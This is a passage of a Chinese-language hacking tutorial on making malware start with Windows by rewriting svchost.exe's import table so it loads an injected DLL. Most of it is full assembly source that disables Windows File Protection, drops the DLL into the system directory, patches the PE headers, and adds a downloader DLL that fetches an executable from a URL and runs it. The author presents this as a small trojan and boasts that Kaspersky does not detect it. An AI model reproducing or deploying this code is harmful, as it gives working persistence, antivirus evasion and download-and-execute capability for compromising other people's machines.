每个引入的DLL都会用一个IMAGE_IMPORT_DESCRIPTOR表示，该结构定义如下：
IMAGE_IMPORT_DESCRIPTOR STRUCT
union
Characteristics dd ?
OriginalFirstThunk dd ?
ends
TimeDateStamp dd ?
ForwarderChain dd ?
Name1 dd ?
FirstThunk dd ?
IMAGE_IMPORT_DESCRIPTOR ENDS
对照着图应该很容易明白,修改后的引入表如图2：
这样，系统重启后svchost就会默认加载我们的sec.dll，于是强大的卡巴就倒在了脚下。
其实，像“黑客之门”一样修改引入表实现自启动非常简单，方法有两种，一种是利用微软提供的Detour库实现，另外一种就是自己实现，我比较推荐第一种，但是抱着学习的目的我们还是得练练手，代码我已经用纯ASM实现了一个简单的下载者，仅供各位参考，概括的说一下实现过程：
1.定位目标原引入表，将其读出
2.增加一个新节
3.将被我们修改过的引入表写入新节
4.将目标的引入表地址指向新节
这有个问题需要澄清一下，增加一个新节会使目标的文件大小改变，要文件大小不变也可以，只要找到足够大的空隙，然后写入新引入表即可，我下面的代码以XP下的svchost作为例子，所以无法插入空隙，修改使文件大小不改变的就留给各位读者当个作业吧。
.386
.model flat,stdcall
option casemap:none
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;include
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
include windows.inc
include kernel32.inc
includelib kernel32.lib
include advapi32.inc
includelib advapi32.lib
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;数据段
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
.data
dwWriten dd 0
zero dd 0
dllname db 'sec.dll',0
funpara db 0,0,'SecConfig',0
PE_Header IMAGE_NT_HEADERS <0>
My_Section IMAGE_SECTION_HEADER <>
My_Dll MAGE_IMPORT_DESCRIPTOR <>
My_DllName IMAGE_IMPORT_BY_NAME <>
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
.const
Head_Len equ sizeof IMAGE_NT_HEADERS + sizeof IMAGE_SECTION_HEADER
;宏
CTEXT MACRO y:VARARG
LOCAL sym
CONST segment
ifidni <y>,<>
sym db 0
else
sym db y,0
endif
CONST ends
exitm <offset sym>
ENDM
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
.code
include disablewfp.asm
start:
.code
call _Sfcoff ;关闭文件保护
call CreateDll
call SetFile
call Modimport ;改写PE文件引入表
exit:
invoke ExitProcess,NULL
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;对目标文件进行更名
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
SetFile proc
local destpath[255]:BYTE
local tmppath[255]:BYTE
invoke RtlZeroMemory,addr destpath,255
invoke RtlZeroMemory,addr tmppath,255
invoke GetSystemDirectory,addr destpath,255
invoke GetSystemDirectory,addr tmppath,255
invoke lstrcat,addr destpath,CTEXT("/svchost.exe")
invoke lstrcat,addr tmppath,CTEXT("/suchost.exe")
invoke MoveFile,addr destpath,addr tmppath
invoke CopyFile,addr tmppath,addr destpath,FALSE
ret
SetFile endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;RVA转换成磁盘文件中的偏移
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
RVAToOffset PROC uses edi esi edx ecx pFileMap:DWORD,RVA:DWORD
mov esi,pFileMap
assume esi:ptr IMAGE_DOS_HEADER
add esi,[esi].e_lfanew
assume esi:ptr IMAGE_NT_HEADERS
mov edi,RVA ; edi == RVA
mov edx,esi
add edx,sizeof IMAGE_NT_HEADERS
mov cx,[esi].FileHeader.NumberOfSections
movzx ecx,cx
assume edx:ptr IMAGE_SECTION_HEADER
.while ecx>0 ; check all sections
.if edi>=[edx].VirtualAddress
mov eax,[edx].VirtualAddress
add eax,[edx].SizeOfRawData
.if edi<eax ; The address is in this section
mov eax,[edx].VirtualAddress
sub edi,eax
mov eax,[edx].PointerToRawData
add eax,edi ; eax == file offset
ret
.endif
.endif
add edx,sizeof IMAGE_SECTION_HEADER
dec ecx
.endw
assume edx:nothing
assume esi:nothing
mov eax,edi
ret
RVAToOffset endp
Modimport proc
local szpath[255]:BYTE
LOCAL hFile: HANDLE
LOCAL dwPE_Header_OffSet: DWORD
LOCAL dwFileReadWritten: DWORD
LOCAL dwMySectionOffSet: DWORD
LOCAL dwLastSection_SizeOfRawData: DWORD
LOCAL dwLastSection_PointerToRawData: DWORD
LOCAL hMapping: DWORD
LOCAL pMapping: DWORD
LOCAL oImport[520]:BYTE
LOCAL oImportlen
LOCAL Chrarctics
LOCAL dllnamelen:DWORD
LOCAL funparalen:DWORD
LOCAL irva:DWORD
invoke RtlZeroMemory,addr oImport,520
invoke RtlZeroMemory,addr szpath,255
nvoke lstrcat,addr szpath,CTEXT("test.exe")
;打开文件：
invoke CreateFile, addr szpath, GENERIC_READ or GENERIC_WRITE,/
FILE_SHARE_READ or FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL
.if eax == INVALID_HANDLE_VALUE
jmp Err_CreateFile_Exit
.endif
mov hFile, eax
;创建内存映射文件
invoke CreateFileMapping, hFile, NULL, PAGE_READONLY,0,0,0
.if eax!=NULL
mov hMapping, eax
.endif
invoke MapViewOfFile,hMapping,FILE_MAP_READ,0,0,0
.if eax!=NULL
mov pMapping,eax
.endif
;****************************************
;读取PE文件头
;****************************************
invoke SetFilePointer, hFile, 3ch, 0, FILE_BEGIN
invoke ReadFile, hFile, addr dwPE_Header_OffSet, 4, addr dwFileReadWritten, NULL
invoke SetFilePointer, hFile, dwPE_Header_OffSet, 0, FILE_BEGIN
invoke ReadFile, hFile, addr PE_Header, Head_Len, addr dwFileReadWritten, NULL
;****************************************
;PE文件有效性检查
;****************************************
.if [PE_Header.Signature] != IMAGE_NT_SIGNATURE
jmp Exit
.endif
;****************************************
;判断是否有足够空间存储新节：
;****************************************
movzx eax, [PE_Header.FileHeader.NumberOfSections] ;得到添加新节前有多少个节：
mov ecx, 28h ;28h = sizeof IMAGE_SECTION_HEADER
mul ecx ;eax = NumberOfSections * sizeof IMAGE_SECTION_HEADER
add eax, dwPE_Header_OffSet ;eax = eax + PE文件头偏移
add eax, 18h ;18h = sizeof IMAGE_FILE_HEADER
movzx ecx, [PE_Header.FileHeader.SizeOfOptionalHeader]
add eax, ecx ;eax = eax + sizeof IMAGE_OPTIONAL_HEADER
add eax, 28h ;添加一个新节的大小
.if eax > [PE_Header.OptionalHeader.SizeOfHeaders]
jmp Exit
.endif
;**************************************************
;计算新节的偏移地址：
;**************************************************
movzx eax, [PE_Header.FileHeader.NumberOfSections]
mov ecx, 28h
mul ecx ;eax = NumberOfSections * sizeof IMAGE_SECTION_HEADER
add eax, 4h ;4h = sizeof "PE/0/0"
add eax, dwPE_Header_OffSet
add eax, sizeof IMAGE_FILE_HEADER
add eax, sizeof IMAGE_OPTIONAL_HEADER
mov dwMySectionOffSet, eax ;现在得到了我们的新节的偏移地址
push [PE_Header.OptionalHeader.SizeOfImage]
pop [My_Section.VirtualAddress]
;****************************************
;重构引入表,在文件的最后写入我们的新节：
;****************************************
;读取原始引入表数据,读取正确的不带0的引入表
mov edi,[PE_Header.OptionalHeader.DataDirectory [sizeof IMAGE_DATA_DIRECTORY].VirtualAddress]
invoke RVAToOffset,pMapping,edi
mov edi,eax
invoke SetFilePointer, hFile, edi, 0, FILE_BEGIN
;不读空的结束符
mov oImportlen,0
lea edi,oImport
calclen:
invoke ReadFile, hFile, edi , 4, addr dwFileReadWritten, NULL
mov ebx,[edi]
test ebx,ebx
jz calcover
add edi,4
add oImportlen,4
jmp calclen
calcover:
;写入dll名称,定位到最后一节的raw offset处
mov eax, dwMySectionOffSet
sub eax, 18h
invoke SetFilePointer, hFile, eax, 0, FILE_BEGIN
invoke ReadFile, hFile, addr dwLastSection_SizeOfRawData, 4, addr dwFileReadWritten, NULL
invoke ReadFile, hFile, addr dwLastSection_PointerToRawData, 4, addr dwFileReadWritten, NULL
mov ebx, dwLastSection_SizeOfRawData
add ebx, dwLastSection_PointerToRawData
invoke SetFilePointer, hFile, ebx, 0, FILE_BEGIN
push 0
lea eax, dwFileReadWritten
push eax
mov eax,sizeof dllname
mov dllnamelen,eax
push eax ;[My_Section.SizeOfRawData]
lea eax, dllname
push eax
push hFile
call WriteFile
;写入IMAGE_THUNK_DATA
push 0
lea eax, dwFileReadWritten
push eax
mov eax,sizeof funpara
;add eax,sizeof funpara
mov funparalen,eax
push eax
lea eax, funpara
push eax
push hFile
call WriteFile
;写入IMAGE_THUNK_DATA的RVA
mov eax,[My_Section.VirtualAddress]
add eax,dllnamelen
mov irva,eax
invoke WriteFile, hFile, addr irva, 4, addr dwFileReadWritten, NULL
;写入一个空IMAGE_THUNK_DATA的RVA作为结尾
invoke WriteFile, hFile, addr zero, 4, addr dwFileReadWritten, NULL
;写入原引入表数据
mov ecx,oImportlen
invoke WriteFile, hFile, addr oImport, ecx, addr dwFileReadWritten, NULL
;构造新引入的DLL的IMAGE_IMPORT_DESCRIPTOR
mov eax,[My_Section.VirtualAddress]
add eax,dllnamelen
add eax,funparalen
mov [My_Dll.OriginalFirstThunk],eax
mov [My_Dll.TimeDateStamp],0FFFFFFFFh
mov [My_Dll.ForwarderChain],0FFFFFFFFh
mov ebx,[My_Section.VirtualAddress]
mov [My_Dll.Name1],ebx
mov [My_Dll.FirstThunk],eax
;写入新引入的DLL的IMAGE_IMPORT_DESCRIPTOR
invoke WriteFile, hFile, addr My_Dll, 20, addr dwFileReadWritten, NULL
;写入以0结尾的空IMAGE_IMPORT_DESCRIPTOR
push 20
pop ecx
fillzero:
push ecx
invoke WriteFile, hFile, addr zero, 1, addr dwFileReadWritten, NULL
pop ecx
dec ecx
test ecx,ecx
jnz fillzero
;****************************************
;填充我们自己的节的信息：
;****************************************
mov dword ptr [My_Section.Name1], "ler."
mov dword ptr [My_Section.Name1]+4, "co"
mov [My_Section.Misc.VirtualSize], 1000h
push [PE_Header.OptionalHeader.SizeOfImage]
pop [My_Section.VirtualAddress]
mov eax, [My_Section.Misc.VirtualSize]
mov eax,dllnamelen
add eax,funparalen
add eax,28
add eax,[PE_Header.OptionalHeader.DataDirectory [sizeof IMAGE_DATA_DIRECTORY].isize]
mov [My_Section.SizeOfRawData], eax ;SizeOfRawData在EXE文件中是对齐到FileAlignMent的整数倍的值
mov eax, dwMySectionOffSet
sub eax, 18h ;这个偏移是定位到最后一节的“SizeOfRawData”
invoke SetFilePointer, hFile, eax, 0, FILE_BEGIN
invoke ReadFile, hFile, addr dwLastSection_SizeOfRawData, 4, addr dwFileReadWritten, NULL
invoke ReadFile, hFile, addr dwLastSection_PointerToRawData, 4, addr dwFileReadWritten, NULL
;每个节的 PointerToRawData 等于它的上一节的 SizeOfRawData + PointerToRawData：
mov eax, dwLastSection_SizeOfRawData
add eax, dwLastSection_PointerToRawData
mov [My_Section.PointerToRawData], eax
mov [My_Section.PointerToRelocations], 0h
mov [My_Section.PointerToLinenumbers], 0h
mov [My_Section.NumberOfRelocations], 0h
mov [My_Section.NumberOfLinenumbers], 0h
mov [My_Section.Characteristics], 0C0000040h ;可读可写
;**************************************************
;重新写入IMAGE_SECTION_HEADER：（包含了新节的信息）
;**************************************************
invoke SetFilePointer, hFile, dwMySectionOffSet, 0, FILE_BEGIN
invoke WriteFile, hFile, addr My_Section, sizeof IMAGE_SECTION_HEADER, addr dwFileReadWritten, NULL
;**************************************************
;改写IMAGE_NT_HEADERS
;（需要改写 SizeOfImage）
;**************************************************
inc [PE_Header.FileHeader.NumberOfSections]
mov eax, [My_Section.VirtualAddress]
add eax, dllnamelen
add eax, funparalen
add eax, 8
mov [PE_Header.OptionalHeader.DataDirectory [sizeof IMAGE_DATA_DIRECTORY].VirtualAddress],eax
mov eax, [My_Section.Misc.VirtualSize]
mov ecx, [PE_Header.OptionalHeader.SectionAlignment]
cdq
div ecx
inc eax
mul ecx
add eax, [PE_Header.OptionalHeader.SizeOfImage]
mov [PE_Header.OptionalHeader.DataDirectory [(sizeof IMAGE_DATA_DIRECTORY)*11].VirtualAddress], 0
mov [PE_Header.OptionalHeader.DataDirectory [(sizeof IMAGE_DATA_DIRECTORY)*11].isize], 0
mov [PE_Header.OptionalHeader.DataDirectory [(sizeof IMAGE_DATA_DIRECTORY)*12].VirtualAddress], 0
mov [PE_Header.OptionalHeader.DataDirectory [(sizeof IMAGE_DATA_DIRECTORY)*12].isize], 0
sub eax,1000h
mov [PE_Header.OptionalHeader.SizeOfImage], eax ;SizeOfImage是一个对齐到SectionAlignment的整数倍的值
invoke SetFilePointer, hFile, dwPE_Header_OffSet, 0, FILE_BEGIN
invoke WriteFile, hFile, addr PE_Header, sizeof IMAGE_NT_HEADERS, addr dwFileReadWritten, NULL
;改写.text属性为E00000020h,默认.text为第一个节
mov eax, dwPE_Header_OffSet
add eax, sizeof IMAGE_FILE_HEADER
add eax, sizeof IMAGE_OPTIONAL_HEADER
add eax,40;定位到Characteristics 0E0000020h
invoke SetFilePointer, hFile, eax, 0, FILE_BEGIN
push NULL
lea eax, dwFileReadWritten
push eax
push 4
mov Chrarctics,0E0000020h
lea eax,Chrarctics
push eax
push hFile
call WriteFile
Exit:
;关闭文件：
invoke UnmapViewOfFile, pMapping
invoke CloseHandle,hMapping
invoke CloseHandle, hFile
Err_CreateFile_Exit:
ret
Modimport endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;释放DLL至系统目录
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>
CreateDll proc
local hResInfo:HRSRC
local hResData:HGLOBAL
local dwSize:DWORD
local dwWritten:DWORD
local hFile:HANDLE
local hRec:HANDLE
local dllpath[255]:BYTE
invoke RtlZeroMemory,addr dllpath,255
invoke GetSystemDirectory,addr dllpath,255
invoke lstrcat,addr dllpath,CTEXT("/sec.dll")
invoke FindResource,0,1001,CTEXT("DLL")
mov hResInfo,eax
invoke SizeofResource,0,hResInfo
mov dwSize,eax
invoke LoadResource,0,hResInfo
mov hResData,eax
invoke CreateFile,addr dllpath,GENERIC_WRITE,0, NULL,CREATE_ALWAYS,0,NULL
mov hFile,eax
invoke LockResource,hResData
mov hRec,eax
invoke WriteFile,hFile,hRec,dwSize,addr dwWritten,0
invoke CloseHandle,hFile
ret
CreateDll endp
end start
DLL实现下载并执行的功能，代码如下：
.386
.model flat, stdcall
option casemap :none ; case sensitive
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
include windows.inc
include kernel32.inc
includelib kernel32.lib
down proto
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
return MACRO arg
mov eax, arg
ret
ENDM
;宏
CTEXT MACRO y:VARARG
LOCAL sym
CONST segment
ifidni <y>,<>
sym db 0
else
sym db y,0
endif
CONST ends
exitm <offset sym>
ENDM
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
.data
szURL db 'http://127.0.0.1/gyzy.exe',0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
szPath db 'c:/a.exe',0
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
.code
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
LibMain proc hInstDLL:DWORD, reason:DWORD, unused:DWORD
.if reason == DLL_PROCESS_ATTACH
invoke CreateThread,0,0,offset down,0,0,0
return TRUE
.elseif reason == DLL_PROCESS_DETACH
.elseif reason == DLL_THREAD_ATTACH
.elseif reason == DLL_THREAD_DETACH
.endif
ret
LibMain Endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;下载者功能执行模块
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
down proc
local downfunc:DWORD
call loadlib
lib db 'urlmon',0
loadlib:
call LoadLibraryA
call getfuncaddr
func db 'URLDownloadToFileA',0
getfuncaddr:
push eax
call GetProcAddress
mov downfunc,eax
again:
push 5000
call Sleep
push NULL
push NULL
push offset szPath
push offset szURL
push NULL
call downfunc
test eax,eax
jnz again
call exec
tExit:
ret
down endp
exec proc
invoke WinExec,offset szPath,1
ret
exec endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;为引入表导出的函数
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
SecConfig proc
xor eax,eax
ret
SecConfig endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
End LibMain
其中我们的DLL必须导出一个函数，否则svchost会报找不到指定的要加载的DLL,测试的时候需要先停止windows系统文件保护，然后替换svchost.exe，重启后就会发现我们的小马已经成功下载东西，但是还有一些瑕疵有待改善，XP下默认有多个svchost，所以我们的DLL中的线程也运行了多次。卡巴大叔一点反应都没有(除程序完整性检测外其余均打开的情况下，默认的高级模式）如图3:
图3